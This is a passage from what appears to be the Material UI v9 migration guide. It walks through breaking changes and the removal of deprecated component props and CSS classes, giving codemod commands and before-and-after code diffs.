FreeSolo>,\n+ ) => boolean;\n```\n\n```diff\n- getOptionLabel?: (option: Value | AutocompleteFreeSoloValueMapping<FreeSolo>) => string;\n+ getOptionLabel?: (option: AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo>) => string;\n```\n\nFor reference:\n\n```ts\ntype AutocompleteFreeSoloValueMapping<FreeSolo> = FreeSolo extends true\n  ? string\n  : never;\n\ntype AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo> = FreeSolo extends true\n  ? Value | string\n  : Value;\n```\n\n### GridLegacy\n\nThe `GridLegacy` component is **removed**, use the `Grid` component instead.\n\nThe main API differences are:\n\n- The `item` prop is no longer needed.\n- The `xs`, `sm`, `md`, `lg`, `xl` props are replaced by the `size` prop.\n\n```diff\n-import Grid from '@mui/material/GridLegacy';\n+import Grid from '@mui/material/Grid';\n\n <Grid container spacing={2}>\n-  <Grid item xs={12} sm={6}>\n+  <Grid size={{ xs: 12, sm: 6 }}>\n     ...\n   </Grid>\n </Grid>\n```\n\nSee the [Grid v2 migration guide](/material-ui/migration/upgrade-to-grid-v2/) for more details.\n\n`MuiGridLegacy` has also been removed from the theme `components` types (`ComponentsProps`, `ComponentsOverrides`, and `ComponentsVariants`).\n\n### List\n\n`ListItemIcon` default min-width changes to `36px` (was `56px`) to be consistent with the menu item and uses `theme.spacing` instead of a hardcoded number.\n\n### TablePagination numbers are formatted by default\n\nPagination numbers in `TablePagination` are now formatted using `Intl.NumberFormat` according to the locale.\nFor example, `103177` is displayed as `103,177` in `en-US` or `103.177` in `de-DE`.\n\nTo opt out of number formatting, provide a custom `labelDisplayedRows` function:\n\n```jsx\n<TablePagination\n  labelDisplayedRows={({ from, to, count }) =>\n    `${from}–${to} of ${count !== -1 ? count : `more than ${to}`}`\n  }\n/>\n```\n\nOr when using a locale:\n\n```jsx\nimport { enUS } from '@mui/material/locale';\n\nconst theme = createTheme(\n  {\n    palette: {\n      primary: { main: '#1976d2' },\n    },\n  },\n  enUS,\n  {\n    components: {\n      MuiTablePagination: {\n        defaultProps: {\n          labelDisplayedRows: ({ from, to, count }) =>\n            `${from}–${to} of ${count !== -1 ? count : `more than ${to}`}`,\n        },\n      },\n    },\n  },\n);\n```\n\n### TextField\n\nWhen specifying `<TextField select />` to render a `<Select>`, the underlying `<InputLabel>` renders a `<div>` instead of a native `<label>` element. This does not affect `<InputLabel>` on its own.\n\n### Theme\n\n`MuiTouchRipple` has been removed from the theme `components` types (`ComponentsProps`, `ComponentsOverrides`, and `ComponentsVariants`).\nTouchRipple has been an internal component since v5 and never consumed theme overrides or default props, so the types were misleading.\n\nIf you were using `MuiTouchRipple` in your theme, remove it and use global CSS with the `MuiTouchRipple-*` class names instead:\n\n```diff\n const theme = createTheme({\n   components: {\n-    MuiTouchRipple: {\n-      styleOverrides: {\n-        root: { color: 'red' },\n-      },\n-    },\n+    MuiButtonBase: {\n+      styleOverrides: {\n+        root: {\n+          '& .MuiTouchRipple-root': { color: 'red' },\n+        },\n+      },\n+    },\n   },\n });\n```\n\n### jsdom support\n\nThe behavior of the components in test environments has been improved to be more reliable.\nThe use of `process.env.NODE_ENV === 'test'` was replaced with feature detection or user-agent sniffing wherever it's more accurate with the intention of the code.\nThis change shouldn't impact most users, but it might lead to unintended CI changes.\nFor example, the code has been updated to auto-detect DOM environments that don't support layout, such as [jsdom](https://github.com/jsdom/jsdom) and [happy-dom](https://github.com/capricorn86/happy-dom), with user-agent sniffing.\n\n### Stepper, Step and StepButton\n\nThe `Stepper` and `Step` markups have changed to improve their semantics:\n\n- `Stepper` returns a `<ol>` element instead of `<div>`.\n- `Step` returns a `<li>` element instead of `<div>`.\n\nThe `Stepper` component now supports keyboard navigation when used with `StepButton` descendants. The navigation is implemented as a roving tabindex, supporting Arrow Keys as well as Home and End. Only one `StepButton` is focusable at a time, by having `tabindex=\"0\"`, while the rest all have `tabindex=\"-1\"`. Once selection is changed by Arrow Keys or Home / End, the `tabindex` value is also updated.\n\nThe markup for a `Stepper` with `StepButton` descendants has changed further to reflect this behavior. These changes apply on top of the tag changes described above.\n\nThe `Stepper` has:\n\n- The `role` of `tablist`.\n- The `aria-orientation` added. The value is either `horizontal` or `vertical` depending on the `orientation` prop.\n\nThe `StepButton` has:\n\n- The `role` of `tab`.\n- The `aria-current` changed to `aria-selected`. The value is `true` when step is selected, and `false` otherwise.\n- The `aria-setsize` added. The value is the total number of steps.\n- The `aria-posinset` added. The value is the index of the step inside the list, 1-based.\n\n### Tabs\n\nThe `tabindex` attribute for each tab will be changed on Arrow Key or Home / End navigation. Previously, we only moved the focus on keyboard navigation. Now, we move the focus and also add the `tabindex=\"0\"` to the focused element. The previously focused element will have its `tabindex` updated to `-1` in order to keep only one focusable `Tab` at a time.\n\nSelecting a `Tab` will update the focus and `tabindex` as before.\n\n### Menu and MenuList\n\nThe `tabindex` attribute for each menu item will be changed on Arrow Key, Home / End or Character Key navigation. Previously, we only moved the focus on keyboard navigation. Now, we move the focus and also add the `tabindex=\"0\"` to the focused element. The previously focused element will have its `tabindex` updated to `-1` in order to keep only one focusable `MenuItem` at a time.\n\nThis change also applies to the `Menu` since it uses `MenuList`.\n\nSelecting a `MenuItem` will update the focus and `tabindex` as before.\n\nThe `autoFocus` prop in `MenuList` does not set `tabindex=\"0\"` on the `List` component anymore. It will always stay as `-1`.\n\n## Deprecated APIs removed (Breaking)\n\nAPIs that were deprecated earlier have been removed in v9.\n\n### Accordion props\n\nUse the [accordion-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#accordion-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/accordion-props <path>\n```\n\nThe following deprecated props have been removed from the `Accordion` component:\n\n- `TransitionComponent` → use `slots.transition`\n- `TransitionProps` → use `slotProps.transition`\n\n```diff\n <Accordion\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ unmountOnExit: true }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n >\n```\n\n### AccordionSummary CSS classes\n\nUse the [accordion-summary-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#accordion-summary-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/accordion-summary-classes <path>\n```\n\nThe deprecated `AccordionSummary` CSS class `contentGutters` has been removed.\nUse the combination of `.MuiAccordionSummary-gutters` and `.MuiAccordionSummary-content` classes instead:\n\n```diff\n-.MuiAccordionSummary-contentGutters {\n+.MuiAccordionSummary-gutters .MuiAccordionSummary-content {\n   margin: 20px 0;\n }\n```\n\n### Alert CSS classes\n\nUse the [alert-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#alert-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/alert-classes <path>\n```\n\nThe following deprecated `Alert` CSS classes have been removed:\n\n- `standardSuccess` → use `.MuiAlert-standard.MuiAlert-colorSuccess`\n- `standardInfo` → use `.MuiAlert-standard.MuiAlert-colorInfo`\n- `standardWarning` → use `.MuiAlert-standard.MuiAlert-colorWarning`\n- `standardError` → use `.MuiAlert-standard.MuiAlert-colorError`\n- `outlinedSuccess` → use `.MuiAlert-outlined.MuiAlert-colorSuccess`\n- `outlinedInfo` → use `.MuiAlert-outlined.MuiAlert-colorInfo`\n- `outlinedWarning` → use `.MuiAlert-outlined.MuiAlert-colorWarning`\n- `outlinedError` → use `.MuiAlert-outlined.MuiAlert-colorError`\n- `filledSuccess` → use `.MuiAlert-filled.MuiAlert-colorSuccess`\n- `filledInfo` → use `.MuiAlert-filled.MuiAlert-colorInfo`\n- `filledWarning` → use `.MuiAlert-filled.MuiAlert-colorWarning`\n- `filledError` → use `.MuiAlert-filled.MuiAlert-colorError`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `root` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiAlert: {\n       styleOverrides: {\n-        standardSuccess: { color: 'green' },\n-        standardInfo: { color: 'blue' },\n-        standardWarning: { color: 'orange' },\n-        standardError: { color: 'red' },\n-        outlinedSuccess: { borderColor: 'green' },\n-        outlinedInfo: { borderColor: 'blue' },\n-        outlinedWarning: { borderColor: 'orange' },\n-        outlinedError: { borderColor: 'red' },\n-        filledSuccess: { backgroundColor: 'green' },\n-        filledInfo: { backgroundColor: 'blue' },\n-        filledWarning: { backgroundColor: 'orange' },\n-        filledError: { backgroundColor: 'red' },\n+        root: {\n+          variants: [\n+            { props: { variant: 'standard', color: 'success' }, style: { color: 'green' } },\n+            { props: { variant: 'standard', color: 'info' }, style: { color: 'blue' } },\n+            { props: { variant: 'standard', color: 'warning' }, style: { color: 'orange' } },\n+            { props: { variant: 'standard', color: 'error' }, style: { color: 'red' } },\n+            { props: { variant: 'outlined', color: 'success' }, style: { borderColor: 'green' } },\n+            { props: { variant: 'outlined', color: 'info' }, style: { borderColor: 'blue' } },\n+            { props: { variant: 'outlined', color: 'warning' }, style: { borderColor: 'orange' } },\n+            { props: { variant: 'outlined', color: 'error' }, style: { borderColor: 'red' } },\n+            { props: { variant: 'filled', color: 'success' }, style: { backgroundColor: 'green' } },\n+            { props: { variant: 'filled', color: 'info' }, style: { backgroundColor: 'blue' } },\n+            { props: { variant: 'filled', color: 'warning' }, style: { backgroundColor: 'orange' } },\n+            { props: { variant: 'filled', color: 'error' }, style: { backgroundColor: 'red' } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### Alert props\n\nUse the [alert-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#alert-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/alert-props <path>\n```\n\nThe following deprecated props have been removed from the `Alert` component:\n\n- `components` → use `slots`\n- `componentsProps` → use `slotProps`\n\n```diff\n <Alert\n   onClose={handleClose}\n-  components={{ CloseIcon: MyCloseIcon, CloseButton: MyCloseButton }}\n-  componentsProps={{ closeButton: { size: 'large' }, closeIcon: { fontSize: 'small' } }}\n+  slots={{ closeIcon: MyCloseIcon, closeButton: MyCloseButton }}\n+  slotProps={{ closeButton: { size: 'large' }, closeIcon: { fontSize: 'small' } }}\n />\n```\n\n### Avatar props\n\nUse the [avatar-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#avatar-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/avatar-props <path>\n```\n\nThe following deprecated props have been removed from the `Avatar` component:\n\n- `imgProps` → use `slotProps.img`\n\n```diff\n-<Avatar imgProps={{ crossOrigin: 'anonymous', referrerPolicy: 'no-referrer' }} />\n+<Avatar slotProps={{ img: { crossOrigin: 'anonymous', referrerPolicy: 'no-referrer' } }} />\n```\n\n### AvatarGroup props\n\nUse the [avatar-group-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#avatar-group-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/avatar-group-props <path>\n```\n\nThe following deprecated props have been removed from the `AvatarGroup` component:\n\n- `componentsProps` → use `slotProps` (the `additionalAvatar` key has been renamed to `surplus`)\n\n```diff\n-<AvatarGroup componentsProps={{ additionalAvatar: { className: 'my-class' } }}>\n+<AvatarGroup slotProps={{ surplus: { className: 'my-class' } }}>\n```\n\nIf you were already using the `surplus` key via `componentsProps`, move it to `slotProps`:\n\n```diff\n-<AvatarGroup componentsProps={{ surplus: { className: 'my-class' } }}>\n+<AvatarGroup slotProps={{ surplus: { className: 'my-class' } }}>\n```\n\n### Autocomplete props\n\nUse the [autocomplete-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#autocomplete-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/autocomplete-props <path>\n```\n\nThe following deprecated props have been removed from the `Autocomplete` component:\n\n- `ChipProps` → use `slotProps.chip`\n- `componentsProps` → use `slotProps`\n- `ListboxComponent` → use `slots.listbox`\n- `ListboxProps` → use `slotProps.listbox`\n- `PaperComponent` → use `slots.paper`\n- `PopperComponent` → use `slots.popper`\n- `renderTags` → use `renderValue`\n\n```diff\n <Autocomplete\n   multiple\n   options={options}\n   renderInput={(params) => <TextField {...params} />}\n-  ChipProps={{ size: 'small' }}\n-  componentsProps={{\n-    clearIndicator: { size: 'large' },\n-    paper: { elevation: 2 },\n-    popper: { placement: 'bottom-end' },\n-    popupIndicator: { size: 'large' },\n-  }}\n-  ListboxComponent={CustomListbox}\n-  ListboxProps={{ style: { maxHeight: 200 }, ref }}\n-  PaperComponent={CustomPaper}\n-  PopperComponent={(props) => {\n-    const { disablePortal, anchorEl, open, ...other } = props;\n-    return <Box {...other} />;\n-  }}\n-  renderTags={(value, getTagProps, ownerState) =>\n-    value.map((option, index) => (\n-      <Chip label={option.label} {...getTagProps({ index })} />\n-    ))\n-  }\n+  slots={{\n+    listbox: CustomListbox,\n+    paper: CustomPaper,\n+    popper: (props) => {\n+      const { disablePortal, anchorEl, open, ...other } = props;\n+      return <Box {...other} />;\n+    },\n+  }}\n+  slotProps={{\n+    chip: { size: 'small' },\n+    clearIndicator: { size: 'large' },\n+    listbox: { style: { maxHeight: 200 }, ref },\n+    paper: { elevation: 2 },\n+    popper: { placement: 'bottom-end' },\n+    popupIndicator: { size: 'large' },\n+  }}\n+  renderValue={(value, getItemProps, ownerState) =>\n+    value.map((option, index) => (\n+      <Chip label={option.label} {...getItemProps({ index })} />\n+    ))\n+  }\n />\n```\n\n---\n\n### useAutocomplete fields\n\nUse the [autocomplete-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#autocomplete-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/autocomplete-props <path>\n```\n\nThe following deprecated members have been removed from the `useAutocomplete` hook return value:\n\n- `getTagProps` → use `getItemProps`\n- `focusedTag` → use `focusedItem`\n\n#### getTagProps\n\n```diff\n const {\n-  getTagProps,\n+  getItemProps,\n } = useAutocomplete(props);\n\n // ...\n-<Chip {...getTagProps({ index })} />\n+<Chip {...getItemProps({ index })} />\n```\n\n#### focusedTag\n\n```diff\n const {\n-  focusedTag,\n+  focusedItem,\n } = useAutocomplete(props);\n```\n\n### Backdrop props\n\nUse the [backdrop-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#backdrop-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/backdrop-props <path>\n```\n\nThe following deprecated `Backdrop` props have been removed:\n\n- `components` — use `slots` instead\n- `componentsProps` — use `slotProps` instead\n- `TransitionComponent` — use `slots.transition` instead\n\n```diff\n <Backdrop\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { className: 'my-class' } }}\n-  TransitionComponent={CustomTransition}\n+  slots={{ root: CustomRoot, transition: CustomTransition }}\n+  slotProps={{ root: { className: 'my-class' } }}\n```\n\n### Badge props\n\nUse the [badge-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#badge-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/badge-props <path>\n```\n\nThe following deprecated props have been removed from the `Badge` component:\n\n- `components` → use `slots`\n- `componentsProps` → use `slotProps`\n\n```diff\n <Badge\n-  components={{ Root: CustomRoot, Badge: CustomBadge }}\n-  componentsProps={{ root: { className: 'my-root' }, badge: { className: 'my-badge' } }}\n+  slots={{ root: CustomRoot, badge: CustomBadge }}\n+  slotProps={{ root: { className: 'my-root' }, badge: { className: 'my-badge' } }}\n />\n```\n\n### Button CSS classes\n\nUse the [button-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#button-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/button-classes <path>\n```\n\nThe following deprecated `Button` CSS classes have been removed:\n\n- `textInherit` → use `.MuiButton-text.MuiButton-colorInherit`\n- `textPrimary` → use `.MuiButton-text.MuiButton-colorPrimary`\n- `textSecondary` → use `.MuiButton-text.MuiButton-colorSecondary`\n- `textSuccess` → use `.MuiButton-text.MuiButton-colorSuccess`\n- `textError` → use `.MuiButton-text.MuiButton-colorError`\n- `textInfo` → use `.MuiButton-text.MuiButton-colorInfo`\n- `textWarning` → use `.MuiButton-text.MuiButton-colorWarning`\n- `outlinedInherit` → use `.MuiButton-outlined.MuiButton-colorInherit`\n- `outlinedPrimary` → use `.MuiButton-outlined.MuiButton-colorPrimary`\n- `outlinedSecondary` → use `.MuiButton-outlined.MuiButton-colorSecondary`\n- `outlinedSuccess` → use `.MuiButton-outlined.MuiButton-colorSuccess`\n- `outlinedError` → use `.MuiButton-outlined.MuiButton-colorError`\n- `outlinedInfo` → use `.MuiButton-outlined.MuiButton-colorInfo`\n- `outlinedWarning` → use `.MuiButton-outlined.MuiButton-colorWarning`\n- `containedInherit` → use `.MuiButton-contained.MuiButton-colorInherit`\n- `containedPrimary` → use `.MuiButton-contained.MuiButton-colorPrimary`\n- `containedSecondary` → use `.MuiButton-contained.MuiButton-colorSecondary`\n- `containedSuccess` → use `.MuiButton-contained.MuiButton-colorSuccess`\n- `containedError` → use `.MuiButton-contained.MuiButton-colorError`\n- `containedInfo` → use `.MuiButton-contained.MuiButton-colorInfo`\n- `containedWarning` → use `.MuiButton-contained.MuiButton-colorWarning`\n- `textSizeSmall` → use `.MuiButton-text.MuiButton-sizeSmall`\n- `textSizeMedium` → use `.MuiButton-text.MuiButton-sizeMedium`\n- `textSizeLarge` → use `.MuiButton-text.MuiButton-sizeLarge`\n- `outlinedSizeSmall` → use `.MuiButton-outlined.MuiButton-sizeSmall`\n- `outlinedSizeMedium` → use `.MuiButton-outlined.MuiButton-sizeMedium`\n- `outlinedSizeLarge` → use `.MuiButton-outlined.MuiButton-sizeLarge`\n- `containedSizeSmall` → use `.MuiButton-contained.MuiButton-sizeSmall`\n- `containedSizeMedium` → use `.MuiButton-contained.MuiButton-sizeMedium`\n- `containedSizeLarge` → use `.MuiButton-contained.MuiButton-sizeLarge`\n- `iconSizeSmall` → use `.MuiButton-root.MuiButton-sizeSmall > .MuiButton-icon`\n- `iconSizeMedium` → use `.MuiButton-root.MuiButton-sizeMedium > .MuiButton-icon`\n- `iconSizeLarge` → use `.MuiButton-root.MuiButton-sizeLarge > .MuiButton-icon`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `root` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiButton: {\n       styleOverrides: {\n-        textInherit: { color: 'inherit' },\n-        textPrimary: { color: 'blue' },\n-        textSecondary: { color: 'purple' },\n-        textSuccess: { color: 'green' },\n-        textError: { color: 'red' },\n-        textInfo: { color: 'cyan' },\n-        textWarning: { color: 'orange' },\n-        outlinedInherit: { borderColor: 'inherit' },\n-        outlinedPrimary: { borderColor: 'blue' },\n-        outlinedSecondary: { borderColor: 'purple' },\n-        outlinedSuccess: { borderColor: 'green' },\n-        outlinedError: { borderColor: 'red' },\n-        outlinedInfo: { borderColor: 'cyan' },\n-        outlinedWarning: { borderColor: 'orange' },\n-        containedInherit: { backgroundColor: 'inherit' },\n-        containedPrimary: { backgroundColor: 'blue' },\n-        containedSecondary: { backgroundColor: 'purple' },\n-        containedSuccess: { backgroundColor: 'green' },\n-        containedError: { backgroundColor: 'red' },\n-        containedInfo: { backgroundColor: 'cyan' },\n-        containedWarning: { backgroundColor: 'orange' },\n-        textSizeSmall: { fontSize: '0.75rem' },\n-        textSizeMedium: { fontSize: '0.875rem' },\n-        textSizeLarge: { fontSize: '1rem' },\n-        outlinedSizeSmall: { fontSize: '0.75rem' },\n-        outlinedSizeMedium: { fontSize: '0.875rem' },\n-        outlinedSizeLarge: { fontSize: '1rem' },\n-        containedSizeSmall: { fontSize: '0.75rem' },\n-        containedSizeMedium: { fontSize: '0.875rem' },\n-        containedSizeLarge: { fontSize: '1rem' },\n-        iconSizeSmall: { fontSize: '18px' },\n-        iconSizeMedium: { fontSize: '20px' },\n-        iconSizeLarge: { fontSize: '22px' },\n+        root: {\n+          variants: [\n+            { props: { variant: 'text', color: 'inherit' }, style: { color: 'inherit' } },\n+            { props: { variant: 'text', color: 'primary' }, style: { color: 'blue' } },\n+            { props: { variant: 'text', color: 'secondary' }, style: { color: 'purple' } },\n+            { props: { variant: 'text', color: 'success' }, style: { color: 'green' } },\n+            { props: { variant: 'text', color: 'error' }, style: { color: 'red' } },\n+            { props: { variant: 'text', color: 'info' }, style: { color: 'cyan' } },\n+            { props: { variant: 'text', color: 'warning' }, style: { color: 'orange' } },\n+            { props: { variant: 'outlined', color: 'inherit' }, style: { borderColor: 'inherit' } },\n+            { props: { variant: 'outlined', color: 'primary' }, style: { borderColor: 'blue' } },\n+            { props: { variant: 'outlined', color: 'secondary' }, style: { borderColor: 'purple' } },\n+            { props: { variant: 'outlined', color: 'success' }, style: { borderColor: 'green' } },\n+            { props: { variant: 'outlined', color: 'error' }, style: { borderColor: 'red' } },\n+            { props: { variant: 'outlined', color: 'info' }, style: { borderColor: 'cyan' } },\n+            { props: { variant: 'outlined', color: 'warning' }, style: { borderColor: 'orange' } },\n+            { props: { variant: 'contained', color: 'inherit' }, style: { backgroundColor: 'inherit' } },\n+            { props: { variant: 'contained', color: 'primary' }, style: { backgroundColor: 'blue' } },\n+            { props: { variant: 'contained', color: 'secondary' }, style: { backgroundColor: 'purple' } },\n+            { props: { variant: 'contained', color: 'success' }, style: { backgroundColor: 'green' } },\n+            { props: { variant: 'contained', color: 'error' }, style: { backgroundColor: 'red' } },\n+            { props: { variant: 'contained', color: 'info' }, style: { backgroundColor: 'cyan' } },\n+            { props: { variant: 'contained', color: 'warning' }, style: { backgroundColor: 'orange' } },\n+            { props: { variant: 'text', size: 'small' }, style: { fontSize: '0.75rem' } },\n+            { props: { variant: 'text', size: 'medium' }, style: { fontSize: '0.875rem' } },\n+            { props: { variant: 'text', size: 'large' }, style: { fontSize: '1rem' } },\n+            { props: { variant: 'outlined', size: 'small' }, style: { fontSize: '0.75rem' } },\n+            { props: { variant: 'outlined', size: 'medium' }, style: { fontSize: '0.875rem' } },\n+            { props: { variant: 'outlined', size: 'large' }, style: { fontSize: '1rem' } },\n+            { props: { variant: 'contained', size: 'small' }, style: { fontSize: '0.75rem' } },\n+            { props: { variant: 'contained', size: 'medium' }, style: { fontSize: '0.875rem' } },\n+            { props: { variant: 'contained', size: 'large' }, style: { fontSize: '1rem' } },\n+            { props: { size: 'small' }, style: { '& .MuiButton-icon': { fontSize: '18px' } } },\n+            { props: { size: 'medium' }, style: { '& .MuiButton-icon': { fontSize: '20px' } } },\n+            { props: { size: 'large' }, style: { '& .MuiButton-icon': { fontSize: '22px' } } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### ButtonGroup CSS classes\n\nUse the [button-group-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#button-group-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/button-group-classes <path>\n```\n\nThe following deprecated `ButtonGroup` CSS classes have been removed:\n\n- `groupedHorizontal` → use `.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped`\n- `groupedVertical` → use `.MuiButtonGroup-vertical > .MuiButtonGroup-grouped`\n- `groupedText` → use `.MuiButtonGroup-text > .MuiButtonGroup-grouped`\n- `groupedTextHorizontal` → use `.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped`\n- `groupedTextVertical` → use `.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped`\n- `groupedTextPrimary` → use `.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped`\n- `groupedTextSecondary` → use `.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped`\n- `groupedOutlined` → use `.MuiButtonGroup-outlined > .MuiButtonGroup-grouped`\n- `groupedOutlinedHorizontal` → use `.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped`\n- `groupedOutlinedVertical` → use `.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped`\n- `groupedOutlinedPrimary` → use `.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped`\n- `groupedOutlinedSecondary` → use `.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped`\n- `groupedContained` → use `.MuiButtonGroup-contained > .MuiButtonGroup-grouped`\n- `groupedContainedHorizontal` → use `.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped`\n- `groupedContainedVertical` → use `.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped`\n- `groupedContainedPrimary` → use `.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped`\n- `groupedContainedSecondary` → use `.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `root` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiButtonGroup: {\n       styleOverrides: {\n-        groupedContainedPrimary: { borderColor: 'red' },\n+        root: {\n+          variants: [\n+            {\n+              props: { variant: 'contained', color: 'primary' },\n+              style: {\n+                '& > .MuiButtonGroup-grouped': { borderColor: 'red' },\n+              },\n+            },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### CardHeader props\n\nUse the [card-header-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#card-header-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/card-header-props <path>\n```\n\nThe following deprecated props have been removed from the `CardHeader` component:\n\n- `titleTypographyProps` → use `slotProps.title`\n- `subheaderTypographyProps` → use `slotProps.subheader`\n\n```diff\n <CardHeader\n-  titleTypographyProps={{ className: 'my-title' }}\n-  subheaderTypographyProps={{ className: 'my-subheader' }}\n+  slotProps={{ title: { className: 'my-title' }, subheader: { className: 'my-subheader' } }}\n />\n```\n\n### Checkbox props\n\nUse the [checkbox-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#checkbox-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/checkbox-props <path>\n```\n\nThe following deprecated `Checkbox` props have been removed:\n\n- `inputProps` — use `slotProps.input` instead\n- `inputRef` — use `slotProps.input.ref` instead\n\n```diff\n <Checkbox\n-  inputProps={{ 'aria-label': 'Checkbox' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Checkbox', ref } }}\n />\n```\n\n### Chip CSS classes\n\nUse the [chip-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#chip-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/chip-classes <path>\n```\n\nThe following deprecated `Chip` CSS classes have been removed:\n\n- `clickableColorPrimary` → use `.MuiChip-clickable.MuiChip-colorPrimary`\n- `clickableColorSecondary` → use `.MuiChip-clickable.MuiChip-colorSecondary`\n- `deletableColorPrimary` → use `.MuiChip-deletable.MuiChip-colorPrimary`\n- `deletableColorSecondary` → use `.MuiChip-deletable.MuiChip-colorSecondary`\n- `outlinedPrimary` → use `.MuiChip-outlined.MuiChip-colorPrimary`\n- `outlinedSecondary` → use `.MuiChip-outlined.MuiChip-colorSecondary`\n- `filledPrimary` → use `.MuiChip-filled.MuiChip-colorPrimary`\n- `filledSecondary` → use `.MuiChip-filled.MuiChip-colorSecondary`\n- `avatarSmall` → use `.MuiChip-sizeSmall > .MuiChip-avatar`\n- `avatarMedium` → use `.MuiChip-sizeMedium > .MuiChip-avatar`\n- `avatarColorPrimary` → use `.MuiChip-colorPrimary > .MuiChip-avatar`\n- `avatarColorSecondary` → use `.MuiChip-colorSecondary > .MuiChip-avatar`\n- `iconSmall` → use `.MuiChip-sizeSmall > .MuiChip-icon`\n- `iconMedium` → use `.MuiChip-sizeMedium > .MuiChip-icon`\n- `iconColorPrimary` → use `.MuiChip-colorPrimary > .MuiChip-icon`\n- `iconColorSecondary` → use `.MuiChip-colorSecondary > .MuiChip-icon`\n- `labelSmall` → use `.MuiChip-sizeSmall > .MuiChip-label`\n- `labelMedium` → use `.MuiChip-sizeMedium > .MuiChip-label`\n- `deleteIconSmall` → use `.MuiChip-sizeSmall > .MuiChip-deleteIcon`\n- `deleteIconMedium` → use `.MuiChip-sizeMedium > .MuiChip-deleteIcon`\n- `deleteIconColorPrimary` → use `.MuiChip-colorPrimary > .MuiChip-deleteIcon`\n- `deleteIconColorSecondary` → use `.MuiChip-colorSecondary > .MuiChip-deleteIcon`\n- `deleteIconOutlinedColorPrimary` → use `.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon`\n- `deleteIconOutlinedColorSecondary` → use `.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon`\n- `deleteIconFilledColorPrimary` → use `.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon`\n- `deleteIconFilledColorSecondary` → use `.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `root` override instead.\nFor classes that targeted child elements (`avatar`, `icon`, `deleteIcon`), use CSS child selectors inside the `root` variants since those are not standalone styled slots.\nThe `label` slot is a proper styled component and can use `variants` directly in `styleOverrides.label`:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiChip: {\n       styleOverrides: {\n-        clickableColorPrimary: { boxShadow: 'none' },\n-        outlinedPrimary: { borderWidth: 2 },\n-        filledSecondary: 